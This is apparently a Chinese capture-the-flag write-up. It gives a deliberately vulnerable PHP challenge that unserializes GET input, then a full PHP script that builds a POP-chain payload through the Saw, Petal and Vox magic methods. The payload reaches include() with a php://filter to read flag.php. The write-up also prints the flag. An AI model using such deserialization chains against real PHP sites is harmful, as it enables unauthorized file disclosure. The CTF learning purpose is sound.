题目:

    1. index.php You are in my range!
    2. <?php
    3. error_reporting(0);
    4. class Vox{
    5. protected $headset;
    6. public $sound;
    7. public function fun($pulse){
    8. include($pulse);
    9. }
    10. public function __invoke(){
    11. $this->fun($this->headset);
    12. }
    13. }
    14. class Saw{
    15. public $fearless;
    16. public $gun;
    17. public function __construct($file='index.php'){
    18. $this->fearless = $file;
    19. echo $this->fearless . ' You are in my range!'."<br>";
    20. }
    21. public function __toString(){
    22. $this->gun['gun']->fearless;
    23. return "Saw";
    24. }
    25. public function _pain(){
    26. if($this->fearless){
    27. highlight_file($this->fearless);
    28. }
    29. }
    30. public function __wakeup(){
    31. if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
    32. echo "Does it hurt? That's right";
    33. $this->fearless = "index.php";
    34. }
    35. }
    36. }
    37. class Petal{
    38. public $seed;
    39. public function __construct(){
    40. $this->seed = array();
    41. }
    42. public function __get($sun){
    43. $Nourishment = $this->seed;
    44. return $Nourishment();
    45. }
    46. }
    47. if(isset($_GET['ozo'])){
    48. unserialize($_GET['ozo']);
    49. }
    50. else{
    51. $Saw = new Saw('index.php');
    52. $Saw->_pain();
    53. }
    54. ?>
    <?php
    !defined('IN_FLAG') && exit('Access Denied');
    echo "flag{un3eri@liz3_i3_s0_fun}";
    ?>
    

    PAYLOAD:

    <?php
    class Vox{
        protected $headset='php://filter/read=convert.base64-encode/resource=flag.php';
    }
    
    class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
            $this->fearless = $file;
            echo $this->fearless . ' You are in my range!'."<br>";
        }
        public function __toString(){
            return "";
        }
        public function __wakeup()
        {
         $this->fearless = new Saw();
        }
    }
    
    class Petal{
        public $seed;
        public function __construct(){
            $this->seed = New Vox();
        }
    }
        $a = new Saw('flag.php');
        $a->gun['gun'] = new Petal();
        $b = new Saw($a);
        $pop = serialize($b);
        print_r($pop);
        echo "</br>";
        echo urlencode($pop);
    ?>
    

    参考文章:https://xz.aliyun.com/t/7570